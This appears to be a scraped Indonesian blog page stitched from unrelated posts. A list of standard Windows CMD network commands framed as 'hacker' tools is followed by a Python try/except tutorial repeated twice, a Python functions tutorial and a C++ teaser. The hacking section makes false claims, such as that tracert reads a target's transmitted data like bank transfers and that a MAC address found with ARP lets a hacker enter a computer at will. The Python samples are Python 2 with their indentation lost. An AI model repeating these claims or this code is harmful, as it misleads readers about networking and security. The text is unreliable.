Perintah pertama ini pasti sudah cukup banyak dikenal untuk Anda yang memang mempelajari dunia teknologi komputer, khususnya jaringan. Anda jangan berpikiran perintah Ping ini mirip dengan PING! yang ada pada aplikasi BBM di smartphone. Perintah ping pada jaringan ini berfungsi untuk melihat parameter koneksi pada sebuah jaringan. Dan, perintah ini pasti adalah perintah pertama yang akan digunakan oleh para hacker jika ingin membobol sebuah sistem keamanan berbasis jaringan. Ping ini termasuk salah satu fungsi pada sistem operasi komputer yang akan mengirimkan paket-paket data kecil.

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-1-oleh-tekno-segiempatPara hacker akan memonitor ping yang dikirimkan pada sebuah alamat IP pada sistem keamanan tersebut, untuk bisa mengetahui koneksi datanya lancar atau tidak. Semakin besar jumlah time yang muncul pada parameter ping ini, maka itu berarti koneksi jaringan tersebut akan lambat, atau bahkan terputus-putus. Ping juga berfungsi untuk mengetahui alamat IP pada sebuah website. Misalnya saja Anda ingin mengetahui alamat ip dari server situs Google atau Facebook, maka Anda cukup mengetikkan perintah “ping google.com” dan tekan enter. Maka, alamat ip dari server situs google pun bisa Anda lihat. Dan, masih banyak lagi fungsi dari ping pada jaringan ini.

2. Nslookup

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-2-oleh-tekno-segiempatUntuk bisa membuka fitur Nslookup ini, maka Anda harus membuka halaman CMD Anda terlebih dahulu lalu mengetikkan perintah Nslookup. Di dalam halaman Nslookup ini Anda bisa mengetikkan alamat situs untuk mengetahui alamat ipnya, seperti google tadi. Perintah Nslookup pada jaringan ini pun sering digunakan untuk melakukan diagnosa pada sebuah jaringan yang bermasalah khususnya yang berhubungan dengan DNS. Jadi, fungsi dari Nslookup ini bisa dikatakan memang tidak terlalu jauh berbeda dengan ping di atas. Hanya saja, perinta ping kadang tidak memunculkan ip dari nama komputer pada sebuah jaringan. Tapi, dengan menggunakan perintah nslookup maka Anda bisa dengan mudah menemukan alamat ip dari komputer pada sebuah jaringan LAN.

3. Tracert

Perintah ini biasanya akan digunakan setelah penggunaan perintah ping di atas. Perintah tracert akan disertai dengan alamat ip dari situs atau jaringan tersebut. Perintah tracert salah satu perintah penting saat hacker mulai membobol sebuah jaringan. Karena dengan perintah ini maka hacker mampu melacak paket-paket data bahkan situs apa saja yang dibuka oleh pemilik target pada komputernya. Misalnya, komputer target ini sedang melakukan pengiriman paket data seperti transfer rekening, mengirim file melalui email, maka dengan perintah tracert paket-paket data tersebut akan terbaca, walaupun dalam mode enkripsi yang hanya bisa dipecahkan dengan tool khusus.

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-3-oleh-tekno-segiempatNah, jika para hacker telah mengetahui adanya lalu lintas jaringan seperti itu, maka bisa saja hacker memotong proses pengiriman tersebut, dan bahkan mengalihkannya

4. ARP

Perintah yang satu ini juga termasuk perintah yang paling sering digunakan oleh para hacker jika sudah kesulitan untuk menyerang melalui alamat IP. Karena perintah ARP ini mampu menampilkan alamat mac address sebuah komputer pada sebuah jaringan. Mac address ini adalah sebuah alamat dari hardaware atau port jaringan yang digunakan oleh komputer target yang tentunya menjadi bawaan atau default dari komputer tersebut. Walaupun memang ada cara merubah mac adress komputer, namun cara ini tentunya hanya bertahan sementara waktu saja. Setelah komputer direset atau diinstal ulang maka mac address default akan kembali.

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-4-oleh-tekno-segiempatNah, dengan menemukan alamat mac address komputer target dengan perintah ARP ini, maka seorang hacker tentunya akan dengan pulang balik masuk ke dalam komputer targetnya.

5. Route

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-5-oleh-tekno-segiempatPerintah route ini adalah sebuah perintah yang bisa membuat jalur baru pada sebuah jaringan komputer. Perintah ini pun umumnya digunakan para hacker jika sudah berhasil pada masuk jaringan LAN atau WAN sistem keamanan dari sebuah kantor. Jika sudah berhasil masuk menggunakan perintah ini, maka seorang hacker pun mampu mengetahui setiap aktivitas yang terjadi pada lalu lintas jaringan tersebut, bahkan bisa mengetahui host, gateway dan juga destinasi dari jaringan.

6. Ipconfig

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-6-oleh-tekno-segiempatIni termasuk perintah umum yang juga sering digunakan baik para hacker atau pun teknisi jaringan. Karena, perintah ini memang digunakan untuk melihat sebuah informasi IP pada sebuah komputer. Fungsi dari perintah ipconfig ini sebenarnya cukup banyak. Bahkan perintah ini bisa Anda gunakan untuk menggonta-ganti alamat IP komputer, atau mereset settingan jaringan dari komputer tersebut, apalagi jika jaringan tersebut harus menggunakan protokol DHCP. Anda bisa melihat setiap fugnsi dan juga perintah tambahanya pada layar CMD komputer Anda dengan mengetikkan perintah “ipconfig /?”, maka semua perintah ipconfig dan penjelasannya pun akan ditampilkan. Hanya saja, Anda harus mengerti bahasa inggris dulu ya!

7. Netstat

inilah-perintah-dasar-cmd-yang-sering-digunakan-hacker-7-oleh-tekno-segiempatPerintah ini akan membantu Anda untuk melihat statistik dari jaringan yang ada pada komputer Anda. Dengan mengetikkan perintah netstat pada halaman CMD Anda, maka Anda pun bisa melihat aktivitas jaringan yang sedang dilakukan oleh komputer lainnya yang terhubung pada jaringan yang sama. Informasi yang ditampilkan oleh perintah netstat ini bahkan lebih detail dan juga lengkap dengan port-port yang digunakan oleh komputer. Anda cukup mengetikkan perintah “netstat /?” untuk melihat semua perintah layanan dari netstat ini dengan detail dan lengkap.

Nah, itulah beberapa perintah yang banyak digunakan oleh para hacker saat melakukan proses pembobolan sistem keamanan jaringan atau sebuah komputer pada sebuah jaringan yang sama. Sebenarnya perintah-perintah tersebtu di atas adalah perintah umum yang juga digunakan oleh para teknisi jaringan. Hanya saja dengan sedikit modifikasi dan juga tambahan tools, maka seorang hacker mampu membobol sistem keamanan jaringan dengan perintah CMD dasar di atas.

Minggu, 21 Mei 2017

belajar pemrograman python :Mengenal Statement Try Except di Python

Mengenal Statement Try Except di Python


Salah satu bentuk penangan error di Python adalah dengan menggunakan statement try..except. Mungkin kita pernah mendeteksi error dengan memanfaatkan kondisional biasa menggunakan if..else, namun hal tersebut akan lebih praktis ditangani bila dengan menggunakan try..except. Anda dapat mengurung suatu blok kode dengan try..except untuk menangani error yang mungkin kita sendiri tidak mengetahuinya. Biasanya try..except ini digunakan untuk menangani error saat penggunaan IO, operasi database, atau pengaksesan indeks suatu list atau dictionary, dan berbagai kasus lainnya.

Sekarang kita akan mengenal beberapa kasus sederhana yang menggunakan try..except.

Menangani error pembagian nol

Misalkan dalam kode berikut terjadi pembagian yang membagi suatu angka dengan nol. Sudah menjadi ketentuan bahwa jika sebuah angka dibagi nol maka program akan error. Oleh karena itu kita kurung dengan try..except, kemudian kita keluarkan error-nya begitu error tertangkap oleh except. Baris "print x+1" akan tetap dieksekusi hanya saja akan muncul error yang ditimbulkan oleh pembagian nol.

x = 0
try:
x = 1 / 0
except Exception, e:
print e

print x + 1
Jika kode diatas dieksekusi, maka akan muncul error seperti berikut ini:

$ python demo-1.py
integer division or modulo by zero
1
Menangani error pembacaan file

Di kode ini kita akan mencoba menangkap dua error pada kode yang dikurung oleh try..except. Terdapat sebuah dictionary yang berisi key nama, kota, dan umur. Kemudian kita membuka sebuah file yang bernama contact.txt. Walaupun ada kode error setelahnya yang akan mengakibatkan error pengaksesan indeks, yang akan ditangkap terlebih dahulu adalah error yang diakibatkan gagalnya membaca file.

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
contact = open("contact.txt", 'r')
print orang["pekerjaan"]
except IOError, e:
print "Terjadi error IO: ", e
except KeyError, e:
print "Terjadi kesalahan pada akses list/dict/tuple:", e

print orang
Bila kita eksekusi kode diatas, maka akan muncul output seperti berikut:

$ python demo-2.py
Terjadi error IO: [Errno 2] No such file or directory: '/home/contact.txt'
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "finally"

Mungkin kita juga membutuhkan sebuah penanganan khusus apabila terjadi suatu error ataupun tidak pasti harus ada kode yang dieksekusi. Misal Anda ingin memutus koneksi kepada server jika terdapat error karena request yang overload atau ada struktur folder yang berubah. Sebagai contoh kita akan melihat bagaimana statement finally bekerja pada try..except. Anda dapat melihatnya pada kode berikut ini:

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
print orang["nama"]
except KeyError, e:
print "Terjadi error KeyError: ", e
finally:
print "baris ini akan selalu dieksekusi"

print orang
Jika kode diatas kita eksekusi, maka akan muncul output seperti berikut:

$ python demo-3.py
syuaib
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Bila kita coba ganit "nama" dengan "pekerjaan", maka akan muncul output seperti berikut:

$ python demo-3.py
Terjadi error KeyError: 'pekerjaan'
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "raise"

Satu hal lagi yang dapat kita manfaatkan untuk membantu penangan error adalah dengan menggunakan statement raise yang dapat mengeluarkan error secara sengaja. Biasanya raise ini digunakan bersama dengan if..else atau pemeriksaan kondisi lainnya. Objek error yang dapat dilemparkan beragam macamnya. Anda dapat melempar error NetworkError, KeyError, ImportError, IOError, atau error lainnya.

Misal pada kode dibawah ini, kita akan mencoba melemparkan error ValueError dengan memasukkan nilai -99999. Kemudian saat pemeriksaan, apabila nilai kurang dari nol maka akan muncul error.

nilai = -999999

try:
print "baris ini akan di print"
if nilai < 0:
raise ValueError, nilai
print "baris ini tidak akan di print"
except Exception, e:
print e
finally:
print "Ada error mas"
Bila kode diatas kita eksekusi di konsol maka akan muncul output seperti berikut:

$ python demo-4.py
baris ini akan di print
-999999
Ada error mas

Mengenal Statement Try Except di Python

Mengenal Statement Try Except di Python


Salah satu bentuk penangan error di Python adalah dengan menggunakan statement try..except. Mungkin kita pernah mendeteksi error dengan memanfaatkan kondisional biasa menggunakan if..else, namun hal tersebut akan lebih praktis ditangani bila dengan menggunakan try..except. Anda dapat mengurung suatu blok kode dengan try..except untuk menangani error yang mungkin kita sendiri tidak mengetahuinya. Biasanya try..except ini digunakan untuk menangani error saat penggunaan IO, operasi database, atau pengaksesan indeks suatu list atau dictionary, dan berbagai kasus lainnya.

Sekarang kita akan mengenal beberapa kasus sederhana yang menggunakan try..except.

Menangani error pembagian nol

Misalkan dalam kode berikut terjadi pembagian yang membagi suatu angka dengan nol. Sudah menjadi ketentuan bahwa jika sebuah angka dibagi nol maka program akan error. Oleh karena itu kita kurung dengan try..except, kemudian kita keluarkan error-nya begitu error tertangkap oleh except. Baris "print x+1" akan tetap dieksekusi hanya saja akan muncul error yang ditimbulkan oleh pembagian nol.

x = 0
try:
x = 1 / 0
except Exception, e:
print e

print x + 1
Jika kode diatas dieksekusi, maka akan muncul error seperti berikut ini:

$ python demo-1.py
integer division or modulo by zero
1
Menangani error pembacaan file

Di kode ini kita akan mencoba menangkap dua error pada kode yang dikurung oleh try..except. Terdapat sebuah dictionary yang berisi key nama, kota, dan umur. Kemudian kita membuka sebuah file yang bernama contact.txt. Walaupun ada kode error setelahnya yang akan mengakibatkan error pengaksesan indeks, yang akan ditangkap terlebih dahulu adalah error yang diakibatkan gagalnya membaca file.

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
contact = open("contact.txt", 'r')
print orang["pekerjaan"]
except IOError, e:
print "Terjadi error IO: ", e
except KeyError, e:
print "Terjadi kesalahan pada akses list/dict/tuple:", e

print orang
Bila kita eksekusi kode diatas, maka akan muncul output seperti berikut:

$ python demo-2.py
Terjadi error IO: [Errno 2] No such file or directory: '/home/contact.txt'
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "finally"

Mungkin kita juga membutuhkan sebuah penanganan khusus apabila terjadi suatu error ataupun tidak pasti harus ada kode yang dieksekusi. Misal Anda ingin memutus koneksi kepada server jika terdapat error karena request yang overload atau ada struktur folder yang berubah. Sebagai contoh kita akan melihat bagaimana statement finally bekerja pada try..except. Anda dapat melihatnya pada kode berikut ini:

orang = {"nama":"syuaib", "kota":"jepara", "umur":"20"}

try:
print orang["nama"]
except KeyError, e:
print "Terjadi error KeyError: ", e
finally:
print "baris ini akan selalu dieksekusi"

print orang
Jika kode diatas kita eksekusi, maka akan muncul output seperti berikut:

$ python demo-3.py
syuaib
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Bila kita coba ganit "nama" dengan "pekerjaan", maka akan muncul output seperti berikut:

$ python demo-3.py
Terjadi error KeyError: 'pekerjaan'
baris ini akan selalu dieksekusi
{'nama': 'syuaib', 'umur': '20', 'kota': 'jepara'}
Mengenal "raise"

Satu hal lagi yang dapat kita manfaatkan untuk membantu penangan error adalah dengan menggunakan statement raise yang dapat mengeluarkan error secara sengaja. Biasanya raise ini digunakan bersama dengan if..else atau pemeriksaan kondisi lainnya. Objek error yang dapat dilemparkan beragam macamnya. Anda dapat melempar error NetworkError, KeyError, ImportError, IOError, atau error lainnya.

Misal pada kode dibawah ini, kita akan mencoba melemparkan error ValueError dengan memasukkan nilai -99999. Kemudian saat pemeriksaan, apabila nilai kurang dari nol maka akan muncul error.

nilai = -999999

try:
print "baris ini akan di print"
if nilai < 0:
raise ValueError, nilai
print "baris ini tidak akan di print"
except Exception, e:
print e
finally:
print "Ada error mas"
Bila kode diatas kita eksekusi di konsol maka akan muncul output seperti berikut:

$ python demo-4.py
baris ini akan di print
-999999
Ada error mas

belajar pemrograman python : Macam Function di Python

Melihat Berbagai Macam Function di Python


Di Python sebuah function dapat dipasang di dalam sebuah class, sehingga istilahnya berubah menjadi method. Sedangkan function yang tidak berada di dalam class tetap disebut function. Function di Python pun ada yang bersifat anonymous karena tidak memerlukan nama untuk membuat function tersebut dapat dipanggil.

Sebuah function di Python biasanya memiliki sebuah parameter dan return statement. Function di Python memiliki pola sebagai berikut:

def nama_function_yang_akan_anda_buat (param1, param2, ... paramn):
# kode Anda disini
return sesuatu
Tipe data yang dikembalikan bisa berbagai macam jenis tipe data yang didukung Python. Begitupun parameter yang akan diterima oleh function tersebut. Sebagai contoh mari kita buat berbagai function seperti pada kode berikut:

def hello():
print "Hello world"

def getDBConfig():
config = {
"driver":"sqlite3",
"name":"testing.db",
"path":"/home/user/Documents"
}

return config

def getName(id):
if id == 1:
name = "Alexander Grotesqiue"
elif id == 2:
name = "Saleh Mahmoud Al Qassam"
elif id == 3:
name = "Natasha Vorvanova"

return name

def getHargaDealer(harga):
harga_baru = harga + ((harga / 100.0) * 15.0)
return harga_baru

def getNumberList(length):
x = range(0, length)
return x

def getLuasPersegiPanjang(p, l):
x = p * l
return x
Salin kode diatas ke dalam file yang kita berinama dengan demo-method.py. Pada kode diatas, kita membuat berbagai function yang terdiri dari:

hello(), parameter tidak ada dan tidak mengembalikan nilai apapun
getDBConfig(), parameter tidak ada dan mengembalikan nilai berupa dictionary
getName(), parameter cuma satu dan mengembalikan nilai berupa string
getHargaDealer(), parameter cuma satu dan mengembalikan nilai berupa float
getNumberList(), parameter cuma satu dan mengembalikan nilai berpa list
getLuasPersegiPanjang(), parameter ada dua dan mengembalikan nilai berupa integer atau float
Sekarang masih di file yang sama silahkan tambahkan kode berikut untuk memperlihatkan penggunaan function yang telah dibuat:

hello()

db_config = getDBConfig()
print db_config

name = getName(3)
print name

harga_dealer = getHargaDealer(1000000)
print harga_dealer

number_list = getNumberList(10)
print number_list

luas = getLuasPersegiPanjang(20, 10)
print luas
Mari kita eksekusi kode diatas melalui konsol:

$ python demo-method.py
Hello world
{'path': '/home/user/Documents', 'driver': 'sqlite3', 'name': 'testing.db'}
Natasha Vorvanova
1150000.0
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
200

Tutorial Belajar Bahasa C++ untuk Pemula

Tutorial C++ Lengkap, Belajar Bahasa C++ untuk Pemula C++ adalah bahasa pemrograman yang berhubungan dengan bahasa C, yang meliputi konsep ...